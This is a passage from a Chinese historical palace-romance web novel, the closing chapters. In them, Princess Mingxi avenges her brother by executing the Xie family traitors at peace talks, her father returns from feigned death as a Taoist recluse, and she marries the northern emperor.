待到萧元彻忙完公务,二人再见时,已是下午。 彼时明熙正在庭院中散步,好不容易回来一趟,连吹过脸颊的风都舍不得错过。 正在此时,却见萧元彻来到了近前,抬手挥退了闲杂人等,只留下赵怀,凌霜在一旁相陪。 这叫明熙暗暗一顿,又见他眉目间略有些严肃,遂忙问道,“是出了什么事吗?” 却见萧元彻将一样用布料包裹的东西交给了她,缓声道,“巡城的兵士早前发现的,应该是你要找的人。” 她要找的人? 明熙试着将东西接了过来,待打开外头包着的布料,瞧见其中之物后,不由怔住。 那是半块玉佩,一条鲤鱼仰首而游,周身缠绕着如意帘花纹,口中还吐着剩了一半的宝珠…… 此物与萧元彻身上的那半块玉佩本是一体,是当年他离开建业时留在她枕边的信物,直至去年国难之际,明熙将其连自己的亲笔信一起交给了凌云,叫他带去给萧元彻。 而眼下这玉佩在此,那凌云…… 明熙有些不敢张口,“凌云……人呢?” “在豫州一处山脚下,今年早些时候发现时,已经成了尸骨……” 果然。 明熙心间刺痛,大滴的泪珠已经忍不住跌落了下来。 同样落泪的凌霜忙上前安慰她,“我们师兄妹几人,本就是为了保护您,更何况二师兄是为了大齐而死,您不要难过……当心自己的身子……” 赵怀也忙道,“主子当心腹中的皇嗣,您如今可不是一个人……” 是啊,她如今不是一个人。 明熙强迫自己止住泪,吩咐凌霜道,“给凌风及凌雪去信,就说凌云已经找到了。再叫人去把凌云的尸骨带回建业好好安葬。” 凌霜应是,忙去行事,明熙擦干泪水,对萧元彻道,“可以带我去宫中看看吗?” 难得回来一趟,她本该先去祭拜父母兄长,但皇陵远在郊外,此时已经将近傍晚,倒是曾经的宫廷离得不远,回去看看,也能聊解些牵挂。 闻言,未等萧元彻说话,赵怀又担心道,“主子的身体……可撑得住?” 那毕竟是她从小长大的地方,就怕她等会儿睹物思人,又要伤心一场。 却见明熙道,“难得回来一趟,谁知下次会是何时?我会尽力控制自己。” “那便去吧。” 萧元彻执起她的手道,“这么长时间,里头已经修缮完毕了。” 语罢便带她出了驿馆,去了那座已经封禁的宫苑。 一如明熙所预料的那般,宫中的情景,更甚于在街市的所见,雕栏玉砌早已不见,奇花异木也多被焚毁,殿内殿外处处是被刀砍火烧之后又修复的痕迹所有能搬动的陈设则已经一件不留。 曾经世上最为奢华之处,如今只剩了座千疮百孔的空壳。 便是赵怀也唏嘘不已。 明熙倒是出乎意料的没有落泪,犹如一条冷静的孤魂一般,沉默的查看过一座座空荡荡的殿宇,而后又问萧元彻道,“修复成这样,一定花了你们许多精力及银子吧?” “还好。” 萧元彻,“只能叫他们将破损之处尽力修补起来,那些被抢走的物件,已经无从追查了。” “无妨。” 明熙又吩咐赵怀道,“叫人算一算,看看宫中总共损失了多少财物,等见到谢燕蘅,要叫她们谢家尽数 归还。” 赵怀应了声是,又见明熙对萧元彻道,“时候不早了,咱们走吧,我想吃燕云楼的锅贴和馄饨,不知道还在不在?” 萧元彻一笑道,“去看看不就知道了?” 说着牵起她的手,又登上了马车。 令人惊喜的是,燕云楼还在照常营业。 夜幕之下,店中灯火明亮,食客满满,倒叫人有种回到从前的错觉。 只是店中除过从前的招牌菜式,还多了许多平民小吃,其中不乏北国的饺子,面条,烧饼之类的面食,着实叫人有些意外。 趁着点菜的功夫,明熙询问店中伙计,“敢问你们可是换了东家?我记得从前你们不卖饺子烧饼的?” 却见对方反而问她道,“娘子可是才从外地回来?咱们燕云楼一直是老东家,只是经历过自打去年的祸乱一直闭店,直到今年年初才重新营业,那时城中本地食客不多,倒是有许多北边来的军爷前来尝鲜,他们初时吃不惯咱们建业本地的小吃,东家就赶紧叫厨子们学着做些北国的小吃,渐渐地也成了招牌,如今不少本地客官也喜欢吃呢。” 原来如此。 明熙点了点头,却见萧元彻顺势问道,“不知北边的军爷可好相与?平素在城中有无欺压平民?” “那倒没有,” 伙计立时道,“他们可比从前本地的官差好得太多,便是吃碗馄饨也立时结账,从来不赊欠,痛快得很!” “再说,那时叛贼到处烧杀抢夺,百姓们只能关门闭户,本地的官差跑得比百姓还快,还是他们来,才把那些乱贼赶跑的。” “就是。” 听伙计这样说,周遭的食客们也纷纷搭起了腔,“那时叛军还未到建业,宫里的太后就带着小皇帝一跑了之,留下我们这些手无寸铁的百姓,最后竟然是大周朝的将士救了咱们!” “谁说不是?若是指望那魏家,咱们都不知死了多少遍了!” “听说这两日大周的陛下亲自到了建业,只盼着赶紧设立官衙,叫咱们办些路引文书之类,也容易些。” “说起来,眼看天已经凉了,这时候运些布料去北边应该好卖吧?” “怎么不好卖?最好再加些锦缎,现如今上京那边的富人家最喜欢得就是咱们南边的衣料了!” …… 眼看食客们也已经讨论起生意,明熙与萧元彻也不再多说什么,专心尝起了才上桌的锅贴。 唔,外皮香酥,内里的馅料汁水丰盈,依然那般鲜香可口,明熙连连点头道,“还是从前的味道,真好吃。” 说着又同萧元彻道,“等解决了要事,咱们还要再回来吃一次,可好?” 萧元彻颔首,“当然可以,想吃什么,我都陪你。” 就如从前一样。 …… 饱餐一顿后,二人又在街上逛了逛,而后便返回了驿馆。 第二日早起,明熙跟随萧元彻前去郊外皇陵祭拜父母与兄长。 时隔一年多,她才终于亲眼见到哥哥的陵寝。 纵有千言万语想对哥哥说,但有大周的官员随行,她也只能暂且忍住眼泪。 而待祭拜完毕,一行人又踏上了去往江州的行船。 江州,便是此次和谈之地,南齐的旧臣及谢家的凶手正在那里等着她。 随着行船渐渐远离,城郊的山中,有一清修的道人睁开了眼。 “可看清楚了?确定是公主?” 前来报信的人道,“确定是公主,殿下小腹微微隆起,应是已有身孕。” “哦?” 道人闻言,由罡毯上起了身,理了理身上的道袍道,“那,贫道便走一趟江州。” …… 三日之后,北周的人马终于到达了江州。 按照先前商定,南齐的官员已经在此等候,大事当前,北周的官员们也不做拖沓,立时与对方开始会谈。 然而却并没有想象中那般顺利。 依照之前信中约定,和谈的第一步,便是南齐要将杀害北周官员,引起两国交战的罪魁祸首谢高霁等战犯交出,其余诸事才能继续。 但那南齐不止没有交人,还径直叫他们退兵,将建业如数奉还。 这般言而无信又傲慢的态度,只引得北周一众官员满肚子气愤,甚有上当受骗之感。 而就在众人要向君王谏言就此打道回府之时,对方又提出了新要求,说那南齐的谢太后要亲自会见他们的君王。 “呵,一个战败之国,也不知哪里来的底气!” “就是,离他们作甚!直接回到建业设立府衙便是,叫他们知道知道,这天下如今究竟是谁说了算!” 北周众人都深觉那南齐不可理喻至极,然而他们的君王却应了对方的条件,与那谢太后会了面。 为保证双方安全及会谈的机密,按照约定,南北两国的君主只能各自带领的十名精干侍卫见面,其余众人只能暂且待在室外。 萧元彻从容赴约,带着侍卫踏入营帐之后,终于见到了明熙的嫂子,南齐的太后谢燕蘅。 那女子年长明熙五岁,如今也还不过三十,却叫人有种形容枯槁之感。 “终于见面了,北周的君主陛下。” 那女子诡异一笑道,“或者,哀家是不是该称你一声妹夫?” 一切已在预料之中,萧元彻只淡然一笑道,“随你,要说什么,尽管开口便是。” 就见那女子颔了颔首,“果然是聪明人,怪道能直取我南齐二十余州郡。既然如此,那就废话不多说了,想来你的大臣们还不知道你的贵妃便是我南齐的长公主吧,倘若哀家将此事告知他们,不知他们会否容忍她及她腹中的孩子?” 萧元彻摇头道,“她为了你的孩子及南齐,不惜去上京舍命要刺杀朕,而你身为她的家人,不只害死她的兄长护卫,还要刺杀她,你心间可还有半点良知?就不怕魏家列祖列宗,还有死在你手上的诏帝来找你索命?” 许是见他将自己所做的恶事全都一一摊开,那女人脸上终于有些挂不住,将诡异的笑容收起,又哼了一声道,“你又凭什么指责哀家?那男人软弱无能什么都干不了,想当初他爹留下的烂摊子,还不是哀家给他收拾的?那个死丫头自出生便什么都不缺,从小到大肆意妄为,甚至将你一个敌国质子弄到身边做面首,整日带着你游山玩水,最后又放你回到北周,这南齐合该算是毁到她手上才是!” “更何况你一个大男人,一个堂堂嫡出的皇子,还不是来我南齐做了公主的面容,才有机会逃脱回国登基?你又凭什么指责我?” 话到此,那女人又忽然笑起来道,“她气性大,当年因为你离开,伤心了好久,甚至搬去了深山之中,若不是她哥死,都不会出来。” “想来你也是重情之人,居然不忘旧爱,将她一个敌国公主封为贵妃,哀家其实甚为你们二人感动。料想你如今也一定不想失去她。” “只要你从我南齐境内退兵,将建业归还,就能保住她的贵妃之位,哀家说到做到。” 那女子看起来一脸真诚,却仿佛一条毒蛇,浑身皆是能致人死地的毒液。 萧元彻顿了顿,打算开口。 哪知却有一个声音忽然在他身后响起—— “你在做什么美梦?”【你现在阅读的是 】 第 52 章【VIP】 第52章 父皇?!! “你在做什么美梦?” 这叫谢燕蘅一愣,忙朝萧元彻身后看去,却见一年轻女子从侍卫之中走了出来,其目光凌厉,面色肃冷,赫然竟是已经一年多未见的明熙。 “你也在此?” 短暂的意外过后,谢燕蘅立时又对明熙道,“既然你都听见了,也好。你的侄儿阿恒毕竟是你们魏家的骨肉,为了他,为了你在北周的贵妃之位,也为了你腹中孩子的大好前程,立即叫他们从建业撤兵。” 哪知话音落下,明熙却冷笑一声,道,“什么贵妃之位?这里只有南齐的长公主。谢燕蘅,你身上欠了我那么多性命,也该还了。” 她目中没有半分温和,随着脚步走近,一身肃杀之气也直扑谢燕蘅而来来。 直叫谢燕蘅心间无端生出紧张之感,忙道,“我是大齐的太后,你敢杀我,整个大齐都会与你们北周为敌!” “错了。” 明熙脚步不停,口中已经也又道,“杀你的是我,大齐的长公主魏明熙,又与北周何干?” 这语气与神色,绝非是在玩笑,眼见她离自己已越来越近,谢燕蘅只得赶忙吩咐随自己入帐的侍卫们,“还不快拦下这个疯女人……” 然话未说完却见一道寒光闪过,那班侍卫们脚步未动,便眼睁睁的看见明熙将一柄薄剑架到了谢太后的脖颈上。 “护驾,救命……” 谢燕蘅吓得立时大叫。 明熙却冷声对那帮侍卫们道,“本宫在此,我看谁敢上前?!!若敢动一步,我便立时割断她的喉咙!” 都是习武之人,侍卫们又岂会看不出那薄剑的锋利,只好暂且停住脚步。 见此情景,谢燕蘅只能又惊恐的对明熙道,“你疯了不成?我是你嫂子!我是阿恒的母亲!” 然明熙却丝毫不动,只冷声道,“我只知道你杀了我的兄长,杀了我的护卫,还毁了我魏家的基业,今日就是你的死期。” 谢燕蘅只得又向一旁唤道,“萧元彻!今日我南齐与你北周和谈,我若是出事,我的臣子们不会放过你们的!” 哪知萧元彻却冷静道,“阿真不过是为她的亲人报仇,这是你们南齐自己的事,恕朕无法插手。” 这话直叫谢燕蘅陷入绝望之中,只好又扯着嗓子对账外喊道,“来人!快来人!!!” 明熙却冷笑一声道,“不必叫了,我这就带你去见他们!” 说着便架着她往外走,直到走出账外,出现在等候的众人面前。 无论南北两方阵营,众人无不大惊起来。 “这是怎么回事?是何人劫持太后?” “还不快救驾!” 就在南齐的官员们正欲上前解救谢燕蘅之际,凌霜与赵怀立时护在明熙身前道,“长公主驾到,诸位大人还不快退下!” 长公主? 南齐的众人忙仔细去瞧,终于将明熙认了出来,同时却又愈发意外起来—— “殿下这是要做什么?为何要劫持太后?” “殿下莫要冲动!” 明熙只冷声道,“众位爱卿还不知道,先帝并非被萧妃毒害,而是死于此毒妇之手!其任人唯亲,毁我大齐基业,并不惜以我整个南齐江山为代价,包庇那战犯谢高霁,我魏家列祖列宗在天有灵,今日就由本宫来铲除祸国奸佞!” 语罢又将目光投向南齐众臣中的一人道,“谢苍道,还不快领你的畜生出来谢罪!” 话音落下,就见一身材臃肿,头发斑白的中年男子道,“长公主疯了不成?岂能如此对待太后?臣不知殿下是从何处听来的谣言,还不快快放开太后……” 不是别人,正是那谢燕蘅的兄长,谢苍道。 然而其话未说完,却见明熙手上突然用力,谢燕蘅则惨叫一声,立时有血从其脖颈上流了下来,印染了华袍。 “你再废话,我就割下她的脑袋!” 众人大惊,那谢苍道也忙道,“不要乱来!” 却依然躲在人群之中不肯出来。 更别提他那缩头缩脑如若鼠辈一般的儿子谢高霁了。 见此情景,明熙在谢燕蘅耳边冷笑一声道,“你为了他们赔上整个南齐,眼下他们竟然连站都不敢站出来,多可笑?” 谢燕蘅早已肝胆欲裂,只能朝侍卫们大喊道,“来人,快将谢家父子给捆上来!快!!!” 侍卫们这才要上前,然那谢家父子竟也要唤人来抵抗,关键时刻,还是在谢苍道身后的赵将军一个飞踢将其制倒在地,才叫侍卫们将那父子二人捆了上来。 明熙便将谢燕蘅交给凌霜控制,提剑来到那二人面前,先问谢高霁道,“北周秦州县令,可是你叫人杀的?” 那谢高霁已经抖如筛糠,“公,公公主,殿殿下明鉴,我当时也是受人蛊惑,是他们蒙骗……” 明熙却一口打断道,“只回答本宫是与不是!” 只见那谢高霁几番艰难,终于应了声,“是。” 然话音才落,却见一道寒光闪过,明熙手起剑落,谢高霁的人头已经滚落在地,血也喷得老远。 众人大惊失色,不少胆小的已经喊叫了出来,伴随着谢燕蘅的尖叫及那谢苍道的喊声,直叫现场一片混乱。 然而就见此时,却见明熙又将剑指向谢燕蘅道,“毒杀先帝,是谁的主意?” 谢燕蘅吓得面无血色,只抖抖索索的指着一旁的谢苍道道,“是他!毒物也是他找的!” 就见明熙点了点头,又走向了一旁的谢苍道。 “谢苍道,你把持朝政,教子无方,弑君篡逆,祸国殃民!今日本宫杀你,乃是替我大齐百姓扫奸除恶。待你下到黄泉地狱,再去向我父皇兄长请罪去吧!” 说着再度手起剑落,直叫那谢苍道尚未来得及说出什么,那颗肥硕的脑袋就滚到了地上,也同样落下一地血迹。 这般情景,方才那些胆小的已经叫不出声来,唯恐长公主的剑要落到他们的头上,而就在一片肃静之中,却见明熙又拿着剑走到了谢燕蘅面前。 “该你了,谋害亲夫的毒妇。” 短短几个字,却叫谢燕蘅魂魄离体,只能连连大叫道,“不不!你已经杀了他们,你不能杀我!我是大齐的太后,是陛下的生母!!!来人!快来人!!!” 然而却无人敢动。 只有明熙冷声道,“就凭你毒杀我兄长,这天下任何人都救不了你!” “魏明熙!” 那谢燕蘅却又大叫道,“我从前待你如亲妹,你屡次犯错可都是我帮你在你父皇面前求情!你如今还怀着身孕,就不怕造下杀孽,折了腹中孩子的寿吗!” 明熙却道,“我不过在替天行道,替枉死在你们手下的那些将士与百姓报仇,此乃莫大的功德!你若真的待我如亲妹,就不会先毒杀我兄长,又在我兄长下葬前一晚,派人来刺杀我!” “事到如今,就不要废话了,若我杀你杀得冤,就去阎罗面前告我的状吧。” 说着便再度将剑举起。 然而未等落下,却听一道稚嫩得童生响起,“不,不要……” 紧接着,一个小小的身影便冲到了她身边,抱着她的腿哭道,“姑母不要杀我母后,求姑母饶了我母后……” 竟然是她的侄儿阿恒。 这叫所有人都愣住。 明熙也一顿,急忙望向紧随侄儿的凌风道,“不是叫你看住阿恒吗?” 却见凌风捂住已经流血的手掌道,“陛下方才听见叫声,属下拦也拦不住……” 也罢。 明熙便暂且将剑放下,对侄儿道,“这个女人杀了你的父皇,最疼爱你的父皇,我今日杀他,是为了给你的父皇报仇。” 哪知侄儿却依然哭道,“可是杀了她,我就没有母后了……” “你还有我!” 明熙急道,“我从小也没有母后,我的父皇对我甚少过问,是你的父皇,我的兄长自幼护着我长大,所以我根本不能原谅她,她必须死。” 哪知那男孩仍然抱着她得腿哭道,“母后做错了,求姑母饶她一命,我宁愿不当皇帝,求姑母留我娘一命……” 什么? 明熙简直不敢相信自己的耳朵,“你宁愿不当君王,也要保一个恶事做尽的女人?” “你可知为了你的君王之位,前后总共死了多少人?如今竟然为了一个毒妇,如此轻易的说不当就不当?更何况她还杀了你爹!” “你已经七岁了,那些平民百姓家的孩童,像你这么大早已经出去谋生,你连这点是非竟也没有?平日读的书都上哪儿去了?!!” 话到此处,凌霜也忍不住开口道,“陛下,枉殿下当初为了救您受伤失忆,而后又不顾自己的生死入周宫,就是要替先帝报仇,替您谋取未来,您怎么能如此叫殿下失望?” 然而那小小的幼童却只是哭道,“姑母对不起,我已经没了父皇,只有母后了,求姑母不要杀我母后……” 这般情景,直叫明熙失望与气愤齐齐涌上心头,浑身忍不住颤抖起来。 萧元彻看在眼中,立时要上前。 ——虽然原本她不叫他出面,以免惹出两国间的是非,但她眼看已经如 此激动,绝不能叫她有什么事。 哪知就在此时,却听身后又响起一个声音—— “如此哭哭啼啼?哪有君主的样子?” 那是个男人的声音。 众人忙寻声望去,却见有一身披道袍,须发半白的男子正往近前走来。 看清其面貌之后,不少南齐的老臣已经大惊失色。 明熙抬目看去,也不由愣住。 ——看来人的那副面容与姿态,竟然像是……她的父皇?!!【你现在阅读的是 】 第 53 章【正文完结】 第53章 终于娶到了你…… 随着来人的脚步越来越近,已经有南齐的大臣跪地磕头,唤起了“陛下”。 陛下? 北周的众人却陷入惊讶之中,这又是南齐的哪位“陛下”? 看来人的年纪,应该是南齐现任小皇帝的祖父宣帝,可宣帝不是早于五年前驾崩了吗??? 这这这,怎么又出来了? 若非此时青天白日,来人的身下还有影子,众人险些以为是闹鬼了。 明熙也紧凝着眉头。 看来人的样貌与姿态,都与她的父皇一模一样,可是她的父皇早已经驾崩多年了! 难不成,是有人假扮父皇生事? 正狐疑之际,却见来人已经到了她的近前,将她打量一遍后,颔首道,“一别五年,倒终于像些样子了。” 那声音竟也跟父皇一模一样。 见此情景,凌霜与赵怀也赶忙行礼道,“参见陛下。” 难道果真是…… 明熙不可思议的望着对方道,“父皇,真的是你?你不是已经……” 却见对方凉凉一笑道,“世事累人,朕当初不过是要寻个清静,哪晓得不过几年间,就叫你们弄成了这幅样子。” 是了,这语气,世上绝不会有第二人,南齐的大臣们立时跪地哭成了一片,纷纷道,“陛下,您终于回来了!可叫老臣想的好苦啊!” “陛下有所不知,这些年谢氏独断专权,弑君祸国,叫臣等着实没脸见您!” “求陛下快快为我大齐主持公道啊……” 一片哭声中,却见宣帝只是淡然的瞧了瞧地上那谢家父子的尸身与人头,道,“罪人已死,尔等还哭什么?先将那罪妇押下。” 话音落下,立时有侍卫应是,要将谢燕蘅从凌霜手中给提走。 明熙一顿,正要说话,却见父皇又看向她道,“已经砍了两个人的脑袋,先休息一下,免得动了胎气。” 说着又将目光投向不远处的萧元彻,上下打量一番后道,“我的女儿怀上了你的骨血,你不打算见礼吗?” 就见萧元彻顿了顿,上前两步,向他垂首道,“见过……父皇。” 父皇? 宣帝立时一脸嫌弃的摆手道,“名不正言不顺,罢了。” “两名战犯既已向你们交代,今日暂且到此吧。” 说着又看向明熙道,“且随为父来。” 明熙顿了顿,只好应是,将软剑收起,跟着父皇往南齐的营帐走去。 萧元彻一愣,正想要跟上,瞥见身后众臣正不知所措的望着自己,只好又停下脚步。 …… “父皇当年是为了出宫清修而假死,这些年建业发生的事您也都知道?” 南齐的营帐中,明熙一脸不可思议的看向父皇道,“既然如此,眼看那谢氏祸国,您为何不出来制止?” 宣帝却一脸淡然道,“既已离开尘世,那些都是身外事,为父若事事都管,又如何能清修?” “可是我们大齐几乎失去了一般的江山!” 明熙愈发不可思议道,“难道对于父皇来说,这也算是身外事吗?” 却见她的父皇仍一脸淡然道,“这也是大齐的命数。” 好一个命数。 明熙又道,“那兄长呢?他也因此失去了生命,难道对父皇来说,也无所谓吗?” 她的父皇却只是甩了一下手中拂尘,道,“他轻信女子,软弱无能,此也是他命中劫数。” 好一个劫数。 父皇果然还如当年一样。 明熙失望的闭了闭眼,又道,“既然一切都有命数,您为何又要回来?” 哪知父皇却乜她一眼,道,“还不是为了你这个孽障?当年将那北国的小子放虎归山,如今又怀上了他的骨肉。” 这…… 明熙一噎,只道,“这是我与他的缘分。” 是啊,想她与萧元彻,本是不可能在一起的两个人,但命运却叫他们几度相遇,这不是缘分是什么? 当然,眼下有更要紧的事,她忙又问道,“父皇既已回来,不知要如何处置眼前?谢燕蘅毒杀我兄长,阿恒却又为她是非不分,实在难堪大任。” 却见父皇颔首道,“不错,如今你既已怀了身孕,等这孩子生下来,就由他承继我大齐江山。” 什么? 明熙一愣,只以为自己听错了,忙道,“那阿恒呢?” 却见父皇又道,“你也说他难堪大任,眼下便如此是非不分,将来不知又要造出多少祸事,自然不能再叫他当君主。” “可是,” 明熙不可思议道,“可是我的孩子,也有大周的血统。” 哪知父皇却颔首道,“北周那小子头脑尚算不错,这孩子既然是他的,应该错不了。” “可是……” 明熙又要说话,然而才张嘴,却见父皇又皱眉乜她道,“可是什么?难不成你堂堂一国公主,还要跟那小子回去做那不明不白的妾室?让贫道的外孙给他大周作庶子?” “这当然也不是。” 明熙道。 她此次出来,除过为哥哥报仇,就是要解决身世。 却见父皇又哼了一声,“既然不是,那就听为父的。” …… ~~ 时间一点点过去,眼看日头落山,营地中已经燃起了灯火,却仍不见明熙返回,萧元彻也愈发着急起来。 书案的前方,大臣们也一直在议论今日之事。 他们终于明白,原来贵妃果真是南齐的长公主,而南齐的老皇帝竟然也没死。 眼下引起两国争端的战犯虽已伏诛,但南齐的情势却愈发扑朔迷离,着实叫人心间没底。 思及此,有人试着问君王道,“陛下,眼下那南齐的主犯已经身死,却不知明日商谈之时,要如何处之?” 却见君王只道,“先听他们怎么说吧。” 明显是心不在焉的模样,就差把“牵挂贵妃”四个字,给写到脸上了。 见此情景,众人不敢多言。 哪知正在此时,却见有一人来到了帐中,却是贵妃身边的那位宦官。 瞧见赵怀的第一眼,萧元彻立时上前问道,“那边情势如何?” 却见赵怀道,“启禀陛下,今晚公主要在那边歇下,不能回来了。” 什么? 萧元彻忙又道,“她可还好?” 却见赵怀忙点头道,“您放心,有我们照顾,公主一切都好,只不过……” 他语声一顿,却见萧元彻愈发紧张,忙又道,“只不过什么?” 赵怀道,“我们太上皇方才下了旨,说要将我们南齐的皇位传给公主腹中的骨肉。” “什么?” 这话一出,不止萧元彻,北周的一种大臣们皆都愣住了。 ——那可是他们北周的皇嗣,若是变成了南齐的储君,他们北周将来又要怎么办? 关键时刻,还是内史令徐怀骥对君王谏言道,“臣有一计,今日南齐长公主殿下亲自处置战犯,我大周众人皆都都看在眼中,如今既然两国之间的误会已经消除,而长公主腹中的皇嗣既是我们大周的骨血,又是南齐的血脉,何 不两好变一好?” 语罢便细细讲了一通。 待话音落下,就见君王颔首道,“徐卿言之有理。” …… 第二日,南齐的营地中迎来了北周的君主。 踏进帐中,萧元彻先郑重向明熙的父皇行了个礼,“晚辈拜见高功。” 此乃对得道高人的尊称,果然叫正在帐中打坐的宣帝极为受用,缓缓睁开眼睛,看了看他道,“不知阁下有何要事?” 萧元彻一脸诚恳道,“晚辈要先向高功致歉,当初逃脱建业,实乃不得已之举,后在建业册阿真为贵妃,也是权宜之计,还望高功见谅。如今既然云开月明,晚辈诚意求娶贵国公主为我大周皇后,从此白首不弃,恩爱不移。” 身披道袍的宣帝却道,“我已属意她腹中骨肉为我大齐储君,你若娶她为皇后,我大齐又该怎么办?” 萧元彻道,“那也是晚辈的第一个孩子,将来也必定是我大周的储君,何不将南北重任都交由他一人之手,将来他便是南北共主。” 南北共主? 宣帝目光亮了起来。 …… 五日之后,两国和谈的结果送到了上京—— 南齐已经将杀害秦州县令的主犯当面斩杀,其余共犯也移交至大周手中,任由处置; 北周以先前占领的南齐十六州郡为聘,求娶南齐长公主为后,而南齐则将这十六州郡作为长公主的陪嫁之礼,由两国共治,今后,两国百姓皆可在此十六州郡内居住经商,不分彼此,一视同仁。 南北两国自此广开贸易,互惠友好,共御外敌,休戚与共。 …… 对此结果,南北两国皆很是满意,于北周而言,此次不仅大仇得报,还得了位皇后,多了十六州郡的疆土。 对于南齐而言,此番除去奸佞,百废待兴,原本摇摇欲坠的国力有了北周这强大的依托,也不必再怕周遭那些群狼环伺的邻国,已经算是很好的结果。 而接下来,两国便全力筹备公主与帝王之间的大婚之礼。 一个月后,黄道吉日。 建业行宫之中,一身盛装的明熙拜别父皇。 “好好看顾自己及腹中孩子,谨记要任,莫要叫南齐百姓失望。” 宣帝叮嘱完自己的女儿,又看向一旁的赵怀,凌霜,凌雪及凌风四人道,“今后,看顾我南齐储君的任务就交给你,务必守护好公主及储君,不得有误。” 明熙与赵怀几人一同应了是,却见父皇又向前来亲迎自己的萧元彻道,“好好对待我的女儿,她自小到大少受管束,就算做了你大周的皇后,也不得委屈她,否则你我两国之间的约定,可随时作废。” 一身喜服的萧元彻立时应道,“请岳父放心,小婿定不会辜负阿真。” 过去的多少年间,明熙从未感受过父皇的温情,没想到今日竟能从父皇口中听到这样的话语,些许意外过后,她也忍不住关问道,“父皇,往后还会继续在建业吗?” 却见宣帝淡声道,“不必担心这个,好好教养大齐的储君,待他大些,带回来看看。” 明熙只好应了声是,却见父皇又抬手道,“去吧。” 她便向父皇磕了三个头,而后在凌霜凌雪的搀扶下起身,跟着萧元彻登上了北上的行船。 七日之后,一行人到达上京,迎接明熙的是一场盛大的婚礼。 富丽堂皇的凤栖宫中,待君王亲自揭下皇后的盖头,观礼的一众王妃贵妇们终于确信,原来这南齐的长公主正是当初的贵妃。 二人与多年前结缘,虽经历分别,却又在危难时重逢,可谓天赐良缘,引人艳羡。 …… 是夜,殿中红烛摇曳。 来去近两个月,上京已是深秋,天气很有些冷了,所幸殿中依旧暖意融融。 此时宾客早已散尽,辛苦了一日的明熙与萧元彻正依偎在床上说话。 “还是陆上舒服,总算不用再坐船了。” 明熙摸着肚子感叹道,“这一趟我们的乖乖很是争气,一点也没闹。” 萧元彻嗯了一声,也把手放了上去道,“我们的乖乖肩负大任,自然要懂事些。” 话音落下,手底忽然被顶了一下,竟是小家伙隔着娘亲的肚皮给他鼓了个包。 萧元彻很是惊喜,不禁笑道,“乖乖也喜欢听好话吗?” 明熙道,“想来应是乖乖喜欢爹爹的声音。” 萧元彻嗯了一声,又故意问她,“不知娘亲可喜欢?” 却见明熙瞥了他一眼,噘唇道,“若是不喜欢,岂会千里迢迢嫁到这里来?” 萧元彻低头吻了吻她的额间,叹道,“感谢上天,终于叫我娶到了你。” 明熙却挑眉道,“难道不是应该感谢我?若不是我当年傻乎乎的放你回去,你哪里娶得到我?” 萧元彻嗯了一声,又伸手将她拥入怀中。 “谢谢你,阿真。” 谢谢那个六岁的小姑娘,一直将他记在心间,与十八岁时挽救他与厄运,又在二十二岁时,回到了他身边。 “从今往后,咱们一直在一起,绝不分开。” “嗯,一直在一起,再也不分开。” …… 正文完结【你现在阅读的是 】